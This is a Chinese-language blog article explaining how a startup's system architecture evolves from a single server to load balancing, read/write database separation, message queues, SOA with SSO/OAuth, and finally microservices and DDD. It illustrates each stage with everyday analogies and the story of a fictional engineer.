这两年业界最流行的技术架构话题已经从前后端分离,变成了分布式、微服务、DDD了。微服务架构适合所有的公司吗,业务场景演变到了什么地步才需要考虑上微服务呢?毕竟选择技术架构之前应该考虑业务是否与之匹配,否则分布式、微服务这类繁重的架构设计对一些公司来说就变成了屠龙之技,反而成为一线开发团队的负担。

在我不长的职业生涯中,经历过小型创业公司、国企般的大型项目以及在ThoughtWorks见到的各种项目。架构就像一个杂货铺,微服务也只是工具箱,不能有了锤子满世界找钉子,有可能人家只是一颗螺丝钉在等待改锥。

cloud-computing-architecture-diagrams.jpg

我想尝试让架构这个概念变得更为通俗,原谅我文中出现大量不恰当的比喻。为了描述常见互联网公司技术架构演变过程,这里设定了一个虚拟背景:

Neo是一名软件工程师,毕业后就留在这个城市加入了一家互联网创业公司,公司的业务是从事面向餐厅的食材配送服务,用户可以从APP或者微信提前订购食材,公司会在次日早晨送达。使用了Java + MySQL的技术栈,目前来说还只是使用了一台服务器,并且数据库和应用程序都还是部署在同一台服务器上。

因为用户增加和业务逐渐变得复杂,Neo的团队遇到的第一个问题就是需要对系统扩容,提高系统响应速度。扩容对于互联网公司来说一般就是“加机器”,那么第一步,怎么加机器呢?

单数据库多应用服务架构

增加机器方案的时候,我第一时间想到的是软件园餐厅的工作模式了。

软件系统用户就像来餐厅吃饭的顾客,而服务器就像服务员,本来服务员既可以收费也可以售卖菜品,就像有时我们在同一台服务器上同时部署了应用代码和数据库。如果在服务员同时承担结账和售饭职责的模式上增加人手的话,效率不高且最终的账目很可能无法保持一致,因此餐厅一般会有多个服务员售饭,然后由专人负责结账。

回到我们的架构问题上来,如果我们需要多台服务器响应更多的用户,同时也要保证数据的一致性。根据数据库的范式理论,数据的冗余性越低数据的一致性就越高。因此我们的第一步方案可以剥离为多个应用服务器处理用户的请求,一台数据库服务器来集中处理数据的读写,这样就能够达到分摊服务器压力的同时也能保证数据的正确。

不过在应用服务器的入口,我们需要增加一个负载均衡服务器,来分配不同的用户请求到特定的应用服务器上。这有点类似于餐厅的排队机,对用户分流。负载均衡服务器可以是普通PC服务器上配置Nginx一类的软件,也可以是F5这类专用的硬件负载均衡设备。
image1.png

Neo的团队花了半个月的时间重新部署了这些服务器,通过剥离数据库和增加应用服务器的方式提高了系统性能。

读写分离的数据库架构

时间很快过去了半年,Neo的公司又增加了很多新的业务,系统也增加了更多的功能。预定蔬菜的商户也可以通过手机查看历史订单和各种统计信息了,这个时候Neo发现即使怎么增加应用服务器,也会出现用户需要等待很长的时间,最终数据库也出现了瓶颈。

数据库是分布式架构中最难的问题,因为不像应用服务器是不保存数据的。如果想要增加数据库服务器的数量,那么首先需要解决数据重复和一致性的问题。现实中对应的方案有很多,例如读写分离、数据库物理分区、逻辑分表、逻辑分库,但本质上讲只是拆分数据库操作的方式不同而已,而我们应对数据库性能最常用和性价比最高的方式是读写分离。

这里我又忍不住使用一个美食城的例子来说明数据库读写分离的思想了。

上文中我们提到数据的集中处理,一开始这样是挺有效的,但是随着用户的增多,负责处理数据的服务器还是忙不过来。同样的例子对于现实生活,很多美食城这类流量更大的场景,出现了另一种运作方式,美食城一般由管理公司和各个商户构成。消费者需要首先到管理公司设置的充值点充值,然后到各个商户刷卡消费,结账的人员只需要写入充值数据,然后每个商户都能读取数据。

因为数据的读取需要耗费大量的计算资源,而又不需要对数据进行修改操作,我们可以考虑把数据库的读和写这两种操作拆开。
image2.png

我们可以使用数据库的主从架构来增加读的服务器,主数据库保证数据的一致性,使用从服务分担查询请求,主服务器会把数据同步到从服务器中实现数据的最终一致性。当然这个架构可以还是会遇到性能瓶颈,不过可以暂时用上很长一段时间了。

当然如果配上缓存,静态文件分离,性能会得到进一步提升。一般的项目到达这一步足以应对大多数的需求。

image3.png

不过随后的日子里,产品经理提出需要给食材订购的页面中提供视频介绍,于是系统中出现了大量耗费计算资源或者耗时的视频转码操作。

使用消息队列的架构

电影《让子弹飞》中有一句经典的台词,“让子弹飞一会儿”。程序世界和现实生活总是相似的,如果我们要去邮局寄出一封邮件,或者是到快递公司寄出一件包裹,我们不必等待邮件或者包裹到达了收件人手上我们才离开,这可得花好几天。

相应的系统中往往存在这种类似的场景,当我们视频网站上传了一条视频后,视频网站往往会进行转码以便适合网络播放,这种操作需要耗费大量的服务器资源,不可能实时的在用户点击提交后处理完毕,否则用户需要等待很久,甚至连接超时。
image4.png

对于这种应用场景,我们可以让此类任务不必是实时完成的。当用户提交请求后,系统会把任务添加到消息队列中,完成之后改变数据的状态,用户在刷新或接到通知后知道任务已经处理完毕。

前面说的系统架构,应用服务器只是被克隆多个然后分别部署不同的,每一台应用服务器上的代码都是一模一样。就像原始生物真菌,细胞没有分化所有的细胞都具有同样的功能,从这一节起,不同应用服务器承担的职责开始变化,就像植物的出现让细胞开始分化。

随着业务的发展,Neo的公司开始向新的领域扩张,开发了拓展更多商户的代理平台和物流平台,甚至需要和和第三方平台对接,而且需要保证这些平台中一些通用的数据和逻辑是一致的。

面向服务的架构(SOA)

如果大家看过动漫《工作细胞》,一定会对萌萌哒的血小板妹妹印象深刻,《工作细胞》通过动漫拟人的方式讲述了人体中不同细胞的职责和工作方式。每种细胞都有自己独特的功能,血小板负责止血和修复创伤,而T细胞负责吞噬异物和发现入侵者。

软件系统变得越来越复杂,参与的开发者就越多,应用系统的分离和分化就变得很有意义了。面向前端的API应用服务器不再真正的处理业务逻辑而是调用专门的服务器来完成。

单点登录(SSO)是一个典型的面向服务的架构,在互联网公司中被广泛使用。国内互联网巨头往往拥有多个系统,例如腾讯的QQ音乐、空间都可以使用同一个QQ号登陆。于是用户服务和认证服务被剥离开来,各个系统之间通过统一登录和管理用户信息,用户的体验得到了极大的提升,这就是面向服务架构的一个例子。

image5.png

这些大厂不仅在自己的系统内完成了统一的认证和用户管理,并且把登录、授权的服务开放给第三方系统。例如很多网站支持微信登录,这样用户就可以使用一套用户名密码登录大量接入的系统。并且业界有一个通用规范,便于各种系接入,这就是OAuth标准。

image6.png

服务调用有很多种方式,根据不同的网络协议使用RPC框架或者直接使用HTTP请求。

Neo的公司通过面向服务的架构改造,系统中分化出了用户服务、物流服务、订单服务等服务,通过OAuth的方式提供了收银机系统认证对接。一些收银机厂商也对接了这个系统,商户可以通过支持的收银设备进行下食材的预定操作了。

微服务架构

随着Neo的公司急速发展,越来越多的业务需求被加入到系统中,系统已经变得极为庞大。 不同应用和数据之间互相依赖,逻辑纠缠不清,项目的部署进入了混沌状态,对于大型、依赖关系复杂的系统需要一个更为有力的架构。为了解决系统复杂性和服务解耦的问题,这时候该微服务和领域驱动建模(DDD)出场了。

微服务大家都知道来自于Martin Fowler所创造并随之流行起来的概念。上面说的各种架构,应用之间依然强关联到一起,即使被拆分出来也是作为系统组件看待的,很难独立运行。

微服务的设计目的是为了让大型软件系统解耦。将不同职责的服务独立部署,从而实现服务内部高内聚,服务之间低耦合的效果,让开发变得更为灵活。当然“分开是为了更好的在一起”,为了重新组合和稳定运行这些服务,人们发明了服务发现、熔断机制、服务部署监控等一篮子工具。

曾经和同事开玩笑,微服务做的最好的是一个国家的政府。相信所有人都去过政务中心,当你需要办理一个户口或者其他市政业务时,政务大厅运转的像极了一个软件系统。

大厅的签到处就像一个API gateway,帮你排号的同时需要你的身份证(认证),如果发现你不符合这个地区的办理条件(授权或scope),会直接拒绝你。在给多个人排号的时候会分配到不同的窗口,这时候你感觉面对的不是前台的小姐姐而是一台轮询策略的负载均衡服务器。有些业务,受理业务的窗口并不会真的处理,而是提交到专门处理的部门,窗口对你来说就是BFF(Backend for Frontend)。真正受理业务的部门处理完成后会把资料递交到档案室,如同数据库的读写一般。系统中某个部门因故暂停了工作,会帖出告示(熔断)。当然这样的例子太多太多,不再赘述。

image7.png

微服务甚至不是一个架构,而是像一个生态,应用与应用之间互相独立,却又彼此依赖。通过DDD的模型来设计一个地图,把合适的代码放到合适的地方去。实现微服务涉及的工具太多,其中我省略了部分,以求让架构看起来更加清晰。

架构的迷思

原支付宝架构师周爱民老师曾说,“真正的架构师没有title”。然而更甚一步,其实IT系统的架构也没有title,每个公司的架构都是唯一的、混合的、适合业务需要的,很难说我们目前的架构就是标准的“微服务”,一个“标准的微服务”有时候可能对一线开发的小伙伴会很难受。

架构也很难一开始就设计的完美,架构不是设计出来的,甚至不能被设计,只能在需求的变化中不断演进。架构师的工作不太像建筑师那样构建大的蓝图,更像药剂师那样对症治病、照方抓药。就像《大教堂与集市》说的那样,“软件很大程度上是一个服务行业,虽然长期以来都毫无根据地被错认为是制造行业。”

就像生命在自然环境中不断适应,才得以演化;我们的架构需要根据需求中不断改进,才得以敏捷。

more >>